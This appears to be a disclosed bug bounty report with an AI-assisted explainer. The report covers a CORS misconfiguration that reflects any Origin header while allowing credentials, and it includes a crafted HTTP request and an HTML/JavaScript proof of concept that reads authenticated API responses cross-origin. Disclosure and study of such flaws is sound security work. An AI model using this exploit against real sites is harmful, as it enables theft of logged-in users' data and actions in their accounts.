[██████] Cross-origin resource sharing misconfiguration (CORS)
The API endpoint reflected any Origin header in Access-Control-Allow-Origin while also allowing credentials, so a malicious site could read authenticated responses. An attacker could steal a logged-in user's session data and perform actions as that user.
- Triaged in 25 hours
- Fixed in 27 days
- Disclosed after 39 days
Hi!
In this report I want to describe High level bug which can seriously compromise a user account.
If I am authorize on this site, I can steal user's sessions, some personal information or do some action.
Steps for reproduce
- Send this request
GET /api/jsonws/relo-service-plugin-portlet.content/get-content-by-slug/slug/page-ex-link HTTP/1.1
Host: www.█████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Origin: exploit.com
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
In response headers you can see headers
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: exploit.com
So you can write exploit:
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("emo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://www.███/api/jsonws/relo-service-plugin-portlet.content/get-content-by-slug/slug/page-ex-link", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit </h2>
<h3>created by <a href="https://twitter.com/Jarvis7717">@Jarvis</a></h3>
<h3>Show full content of page</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>
Result:
How to fix
Rather than using a wild card or programmatically verifying supplied origins, use a white list of trusted domains.
Impact
Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server. Attacker can perform any action in the user's account, bypassing CSRF tokes.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The server reflected the supplied Origin header into Access-Control-Allow-Origin together with Access-Control-Allow-Credentials: true, instead of checking against a fixed allow-list.
Impact
A logged-in victim who visits the attacker's page could have their personal information read and actions performed in their account, bypassing CSRF tokens.
What the attacker needed
Victim is logged in; victim visits attacker's website
How it was found
- Send a request to the API endpoint with an Origin header set to an attacker-controlled domain.
- Observe that the response allows credentials and echoes the attacker origin.
- Host a page that makes a credentialed cross-origin request to the endpoint and reads the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CORS is a browser rule that lets a website say which other sites may read its responses. Here the site trusted every origin and also allowed cookies, so any website could make a logged-in visitor's browser fetch private data and send it back to the attacker.
What is CORS?
A permissive cross-origin policy lets another site read responses with the user's credentials.